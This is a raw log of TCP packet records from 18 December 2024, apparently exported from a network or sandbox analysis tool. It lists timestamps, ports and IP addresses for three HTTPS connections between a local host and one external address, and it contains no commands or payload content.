Dec 18, 2024 13:14:47.326524973 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.326550961 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.326571941 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.326591015 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.345525980 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.345551014 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.345594883 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.345604897 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.345639944 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.345659971 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.351819992 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.351851940 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.351955891 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.351963997 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.352020025 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.358402967 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.358422995 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.358484030 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.358491898 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.358530045 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.364101887 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.364130020 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.364172935 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.364182949 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.364209890 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.364229918 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.370547056 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.370563030 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.370626926 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.370651960 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.370696068 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.376616955 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.376636028 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.376694918 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.376713991 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.376754999 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.382987022 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.383002043 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.383065939 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.383074045 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.383111000 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.395056009 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.395083904 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.395164967 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.395247936 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.395289898 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.395339012 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.420459032 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.420499086 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.420536995 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.420567036 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.420586109 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.420615911 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.426301956 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.426327944 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.426393032 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.426425934 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.426460981 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.426476002 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.432910919 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.432940006 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.432992935 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.433069944 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.433128119 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.433128119 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.439481020 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.439507008 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.439575911 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.439635992 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.439691067 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.445137024 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.445163012 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.445205927 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.445230961 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.445247889 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.445266008 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.452117920 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.452136993 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.452208042 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.452231884 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.452280045 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.457880974 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.457900047 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.457945108 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.457967043 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.457984924 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.458007097 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.519098997 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.519129038 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.519188881 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.519207001 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.519265890 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.537910938 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.537985086 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.538012028 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.538038969 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.538067102 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.538084984 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.543545961 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.543585062 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.543632030 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.543649912 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.543672085 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.543694019 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.550120115 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.550159931 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.550201893 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.550220013 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.550245047 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.550262928 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.556653976 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.556716919 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.556732893 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.556755066 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.556782007 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.556797028 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.562033892 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.562113047 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.562962055 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.562992096 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.563045979 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.563071012 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.563086987 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.563102007 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.567090034 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.567106009 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.567491055 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.567544937 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.569044113 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.569070101 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.569108963 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.569128990 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.569164038 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.569289923 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.574815989 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.574853897 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.574932098 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.574932098 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.574960947 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.575004101 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.586795092 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.586821079 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.586894989 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.586929083 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.586947918 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.586973906 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.611603975 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.611632109 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.611700058 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.611728907 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.611773014 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.615333080 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.618407965 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.618479013 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.618537903 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.618550062 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.618586063 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.618596077 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.624893904 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.624943972 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.624979973 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.624991894 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.625027895 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.625053883 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.630975962 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.631036997 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.631069899 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.631081104 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.631129980 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.637691021 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.637720108 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.637753963 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.637768030 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.637789011 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.637903929 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.643480062 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.643502951 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.643568039 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.643591881 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.643601894 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.643635035 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.649974108 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.649998903 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.650029898 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.650039911 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.650068998 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.710912943 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.710942030 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.711009026 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.711049080 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.711093903 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.730072975 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.730094910 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.730145931 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.730174065 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.730209112 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.730231047 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.737152100 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.737174034 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.737231970 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.737250090 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.737289906 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.742261887 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.742286921 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.742343903 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.742353916 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.742389917 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.748821020 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.748838902 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.748888016 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.748903990 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.748939991 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.755198002 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.755218983 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.755274057 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.755284071 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.755338907 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.761281967 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.761307955 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.761358023 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.761368990 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.761398077 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.761415005 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.767790079 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.767815113 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.767904997 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.767904997 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.767920971 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.767956018 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.778795004 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.778821945 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.778887987 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.778919935 CET	443	49731	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.778975964 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.793004990 CET	49731	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.903434992 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.903467894 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.903543949 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.903584957 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.903624058 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.922538042 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.922564030 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.922621012 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.922631979 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.922662973 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.928935051 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.928962946 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.929012060 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.929019928 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.929058075 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.934668064 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.934686899 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.934736013 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.934746027 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.934773922 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.941359043 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.941378117 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.941415071 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.941425085 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.941468000 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.941490889 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.947580099 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.947597980 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.947649956 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.947658062 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.947691917 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.953799963 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.953819036 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.953857899 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.953866959 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.953897953 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.960182905 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.960201979 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.960252047 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:47.960262060 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:47.960305929 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.095983982 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.096010923 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.096071005 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.096092939 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.096144915 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.115050077 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.115066051 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.115111113 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.115118027 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.115161896 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.120799065 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.120815992 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.120915890 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.120922089 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.120970964 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.127336025 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.127357006 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.127398014 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.127404928 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.127445936 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.133721113 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.133735895 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.133791924 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.133799076 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.133831978 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.140218973 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.140235901 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.140291929 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.140299082 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.140332937 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.146270037 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.146286011 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.146351099 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.146357059 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.146393061 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.151992083 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.152012110 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.152051926 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.152057886 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.152090073 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.152107954 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.288288116 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.288314104 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.288361073 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.288379908 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.288414001 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.307697058 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.307717085 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.307792902 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.307809114 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.307837963 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.307851076 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.314115047 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.314132929 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.314178944 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.314188004 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.314218998 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.314229965 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.320502043 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.320544004 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.320585012 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.320595026 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.320650101 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.320662975 CET	49730	443	192.168.2.4	118.107.29.172
